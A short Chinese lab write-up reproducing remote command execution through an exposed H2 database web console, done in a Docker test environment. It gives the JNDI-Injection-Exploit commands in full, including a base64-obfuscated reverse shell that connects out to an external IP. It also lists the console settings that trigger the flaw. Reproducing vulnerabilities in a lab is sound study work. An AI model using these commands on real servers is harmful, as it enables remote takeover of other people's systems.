参考:H2database-未授权访问漏洞复现_h2 database connection-CSDN博客
1.工具
虚拟机:kali+docker
java包:Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
这个包可能会报木马,如果发现没下载下来有可能是因为被屏了
被反弹shell的机子:可以就用kali,或者配一台外网服务器
2.复现
打开docker容器
访问http://虚拟机ip:8080/h2-console/
打开之后是一个访问的页面,我们需要用java语言驱动让这个网站主动访问其他主机并且执行命令,我们需要用到一开始写在最前面的工具进行生成rmi
工具基础使用方法:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 命令 -A 攻击者的ip(监听者的ip,填你自己的)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMDcuMTEvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" -A 8.130.107.11//学了大佬的反弹shell,但是一举失败
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 192.168.43.156//这条成功了
在驱动选择:javax.naming.InitialContext
url选择选择一个rmi填写
出现下方红色的字体就成功了,同时你的主机检测到了这个网站的访问我出现的一个问题就是反弹不出去,我想了想可能是要在我的外网上面java生成命令才对,但是等我反应过来,我已经把容器关掉了
这里参考大佬的:数据库安全-H2 database&Elasticsearch&CouchDB&Influxdb漏洞复现_h2database漏洞-CSDN博客